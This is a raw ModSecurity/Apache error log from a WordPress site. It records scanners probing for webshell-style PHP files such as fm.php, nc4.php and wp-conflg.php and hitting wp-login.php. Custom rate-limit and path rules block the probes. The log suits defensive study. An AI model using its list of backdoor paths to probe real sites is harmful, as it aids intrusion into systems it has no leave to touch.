[Mon Dec 08 21:19:05.685258 2025] [:error] [pid 48482:tid 48532] [client 4.190.217.206:11248] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aTbQSX23gV7gRu3vn82C2QAAAJQ"]
[Mon Dec 08 21:19:05.926392 2025] [:error] [pid 48481:tid 48492] [client 4.190.217.206:11133] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aTbQSSe0pzx5KCi3S0Ia1AAAAMc"]
[Mon Dec 08 21:19:06.167247 2025] [:error] [pid 48481:tid 48500] [client 4.190.217.206:11038] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aTbQSie0pzx5KCi3S0Ia1gAAAM8"]
[Mon Dec 08 21:19:06.408619 2025] [:error] [pid 48482:tid 48514] [client 4.190.217.206:10978] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aTbQSn23gV7gRu3vn82C3wAAAII"]
[Mon Dec 08 21:19:06.650164 2025] [:error] [pid 48481:tid 48507] [client 4.190.217.206:11124] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aTbQSie0pzx5KCi3S0Ia2AAAANY"]
[Mon Dec 08 21:19:06.892420 2025] [:error] [pid 48481:tid 48486] [client 4.190.217.206:11021] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aTbQSie0pzx5KCi3S0Ia2gAAAME"]
[Mon Dec 08 21:19:07.132797 2025] [:error] [pid 48573:tid 48585] [client 4.190.217.206:10971] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc.php"] [unique_id "aTbQS1Iayuqwlm3CEkaFJAAAAUo"]
[Mon Dec 08 21:19:07.374043 2025] [:error] [pid 48573:tid 48597] [client 4.190.217.206:11077] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc.php"] [unique_id "aTbQS1Iayuqwlm3CEkaFJgAAAVY"]
[Mon Dec 08 21:19:07.618182 2025] [:error] [pid 50569:tid 50584] [client 4.190.217.206:11000] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc.php"] [unique_id "aTbQS_HhZxyKreYmWzKtxwAAAAw"]
[Mon Dec 08 21:19:07.919651 2025] [:error] [pid 48541:tid 48545] [client 4.190.217.206:11177] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpc.php"] [unique_id "aTbQSwSNhJPArxLCdWH7kgAAAQI"]
[Mon Dec 08 21:19:08.160711 2025] [:error] [pid 48481:tid 48503] [client 4.190.217.206:10952] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aTbQTCe0pzx5KCi3S0Ia3wAAANI"]
[Mon Dec 08 21:19:08.401254 2025] [:error] [pid 50569:tid 50592] [client 4.190.217.206:11082] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aTbQTPHhZxyKreYmWzKtyAAAABQ"]
[Mon Dec 08 21:19:08.641240 2025] [:error] [pid 48482:tid 48526] [client 4.190.217.206:10886] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aTbQTH23gV7gRu3vn82C5QAAAI4"]
[Mon Dec 08 21:19:08.891928 2025] [:error] [pid 48482:tid 48514] [client 4.190.217.206:10988] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aTbQTH23gV7gRu3vn82C6AAAAII"]
[Mon Dec 08 21:19:09.132235 2025] [:error] [pid 48481:tid 48489] [client 4.190.217.206:10957] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mlex.php"] [unique_id "aTbQTSe0pzx5KCi3S0Ia4gAAAMQ"]
[Mon Dec 08 21:19:09.374485 2025] [:error] [pid 48481:tid 48498] [client 4.190.217.206:10892] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mlex.php"] [unique_id "aTbQTSe0pzx5KCi3S0Ia4wAAAM0"]
[Mon Dec 08 21:19:09.615489 2025] [:error] [pid 50569:tid 50595] [client 4.190.217.206:10973] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mlex.php"] [unique_id "aTbQTfHhZxyKreYmWzKtzQAAABc"]
[Mon Dec 08 21:19:09.863897 2025] [:error] [pid 48541:tid 48562] [client 4.190.217.206:11015] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mlex.php"] [unique_id "aTbQTQSNhJPArxLCdWH7kwAAARM"]
[Mon Dec 08 21:19:10.104178 2025] [:error] [pid 48481:tid 48486] [client 4.190.217.206:11064] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aTbQTie0pzx5KCi3S0Ia6QAAAME"]
[Mon Dec 08 21:19:10.344974 2025] [:error] [pid 48481:tid 48495] [client 4.190.217.206:10954] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aTbQTie0pzx5KCi3S0Ia6wAAAMo"]
[Mon Dec 08 21:19:10.650210 2025] [:error] [pid 48481:tid 48489] [client 4.190.217.206:10945] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aTbQTie0pzx5KCi3S0Ia7QAAAMQ"]
[Mon Dec 08 21:19:10.890495 2025] [:error] [pid 48482:tid 48532] [client 4.190.217.206:11045] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aTbQTn23gV7gRu3vn82C7gAAAJQ"]
[Mon Dec 08 21:48:22.296781 2025] [:error] [pid 48482:tid 48512] [client 45.128.39.217:54495] [client 45.128.39.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.39.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTbXJn23gV7gRu3vn82MdAAAAIA"]
[Mon Dec 08 21:48:22.301649 2025] [:error] [pid 48481:tid 48499] [client 45.128.39.217:54496] [client 45.128.39.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.39.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTbXJie0pzx5KCi3S0IklQAAAM4"]
[Mon Dec 08 21:50:00.000607 2025] [:error] [pid 50569:tid 50585] [client 45.128.39.217:62170] [client 45.128.39.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.39.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTbXh_HhZxyKreYmWzK9gAAAAA0"]
[Mon Dec 08 21:50:00.012285 2025] [:error] [pid 48541:tid 48555] [client 45.128.39.217:62159] [client 45.128.39.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.39.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTbXiASNhJPArxLCdWEHgAAAAQw"]
[Mon Dec 08 21:58:24.385165 2025] [:error] [pid 50569:tid 50591] [client 168.63.155.67:25965] [client 168.63.155.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aTbZgPHhZxyKreYmWzLCcgAAABM"]
[Mon Dec 08 21:58:28.186986 2025] [:error] [pid 48482:tid 48536] [client 168.63.155.67:28543] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aTbZhH23gV7gRu3vn82PqwAAAJg"]
[Mon Dec 08 21:58:35.334189 2025] [:error] [pid 48482:tid 48512] [client 168.63.155.67:25968] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aTbZi323gV7gRu3vn82PsAAAAIA"]
[Mon Dec 08 21:58:36.014746 2025] [:error] [pid 48482:tid 48531] [client 168.63.155.67:29272] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aTbZjH23gV7gRu3vn82PsQAAAJM"]
[Mon Dec 08 21:58:36.760010 2025] [:error] [pid 50569:tid 50588] [client 168.63.155.67:28483] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aTbZjPHhZxyKreYmWzLClgAAABA"]
[Mon Dec 08 21:58:39.395016 2025] [:error] [pid 50569:tid 50584] [client 168.63.155.67:23555] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aTbZj_HhZxyKreYmWzLCrAAAAAw"]
[Mon Dec 08 21:58:47.119000 2025] [:error] [pid 48573:tid 48585] [client 168.63.155.67:30867] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aTbZl1Iayuqwlm3CEkaVZwAAAUo"]
[Mon Dec 08 21:58:55.219051 2025] [:error] [pid 48541:tid 48566] [client 168.63.155.67:31169] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "aTbZnwSNhJPArxLCdWEKSAAAARc"]
[Mon Dec 08 21:58:56.220093 2025] [:error] [pid 48541:tid 48545] [client 168.63.155.67:29744] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "aTbZoASNhJPArxLCdWEKSgAAAQI"]
[Mon Dec 08 21:58:58.706176 2025] [:error] [pid 48541:tid 48543] [client 168.63.155.67:30856] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "aTbZogSNhJPArxLCdWEKUAAAAQA"]
[Mon Dec 08 21:58:59.390575 2025] [:error] [pid 50569:tid 50584] [client 168.63.155.67:26306] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "aTbZo_HhZxyKreYmWzLDHwAAAAw"]
[Mon Dec 08 21:59:00.393828 2025] [:error] [pid 48573:tid 48597] [client 168.63.155.67:29712] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aTbZpFIayuqwlm3CEkaVcAAAAVY"]
[Mon Dec 08 21:59:01.942708 2025] [:error] [pid 48573:tid 48579] [client 168.63.155.67:29264] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aTbZpVIayuqwlm3CEkaVfQAAAUQ"]
[Mon Dec 08 21:59:06.701765 2025] [:error] [pid 48541:tid 48564] [client 168.63.155.67:33442] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aTbZqgSNhJPArxLCdWEKWAAAARU"]
[Mon Dec 08 21:59:07.516138 2025] [:error] [pid 48573:tid 48595] [client 168.63.155.67:31201] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aTbZq1Iayuqwlm3CEkaVmwAAAVQ"]
[Mon Dec 08 21:59:09.133527 2025] [:error] [pid 50569:tid 50588] [client 168.63.155.67:32492] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "aTbZrfHhZxyKreYmWzLDJwAAABA"]
[Mon Dec 08 21:59:11.130596 2025] [:error] [pid 50569:tid 50588] [client 168.63.155.67:29534] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "aTbZr_HhZxyKreYmWzLDLQAAABA"]
[Mon Dec 08 21:59:12.416855 2025] [:error] [pid 48482:tid 48533] [client 168.63.155.67:25948] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "aTbZsH23gV7gRu3vn82PxAAAAJU"]
[Mon Dec 08 21:59:14.016266 2025] [:error] [pid 48481:tid 48489] [client 168.63.155.67:2478] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "aTbZsie0pzx5KCi3S0In_gAAAMQ"]
[Mon Dec 08 21:59:14.467087 2025] [:error] [pid 48481:tid 48487] [client 168.63.155.67:26278] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-ksv1i.php"] [unique_id "aTbZsie0pzx5KCi3S0IoAQAAAMI"]
[Mon Dec 08 21:59:32.026895 2025] [:error] [pid 50569:tid 50594] [client 168.63.155.67:29491] [client 168.63.155.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/zmFM.php"] [unique_id "aTbZxPHhZxyKreYmWzLDTQAAABY"]
[Mon Dec 08 21:59:35.208743 2025] [proxy_fcgi:error] [pid 48481:tid 48495] [client 168.63.155.67:32041] AH01071: Got error 'Primary script unknown'
[Mon Dec 08 21:59:35.346563 2025] [:error] [pid 48481:tid 48494] [client 168.63.155.67:32041] [client 168.63.155.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/0.php"] [unique_id "aTbZxye0pzx5KCi3S0IoGQAAAMk"]
[Mon Dec 08 21:59:44.757865 2025] [:error] [pid 48573:tid 48575] [client 168.63.155.67:31834] [client 168.63.155.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aTbZ0FIayuqwlm3CEkaWCwAAAUA"]
[Mon Dec 08 21:59:58.246015 2025] [:error] [pid 50569:tid 50572] [client 168.63.155.67:32700] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/17.php"] [unique_id "aTbZ3vHhZxyKreYmWzLDegAAAAA"]
[Mon Dec 08 22:00:19.165973 2025] [:error] [pid 48482:tid 48517] [client 168.63.155.67:33549] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aTbZ8323gV7gRu3vn82QDwAAAIU"]
[Mon Dec 08 22:00:21.001356 2025] [:error] [pid 48482:tid 48531] [client 168.63.155.67:25556] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aTbZ9X23gV7gRu3vn82QEwAAAJM"]
[Mon Dec 08 22:00:25.118907 2025] [:error] [pid 48482:tid 48522] [client 168.63.155.67:25591] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aTbZ-X23gV7gRu3vn82QHQAAAIo"]
[Mon Dec 08 22:00:26.260408 2025] [:error] [pid 48541:tid 48546] [client 168.63.155.67:25558] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aTbZ-gSNhJPArxLCdWEKpQAAAQM"]
[Mon Dec 08 22:00:29.202634 2025] [:error] [pid 48481:tid 48505] [client 168.63.155.67:28082] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aTbZ_Se0pzx5KCi3S0IoSAAAANQ"]
[Mon Dec 08 22:00:33.142632 2025] [:error] [pid 48573:tid 48584] [client 168.63.155.67:28119] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aTbaAVIayuqwlm3CEkaWaQAAAUk"]
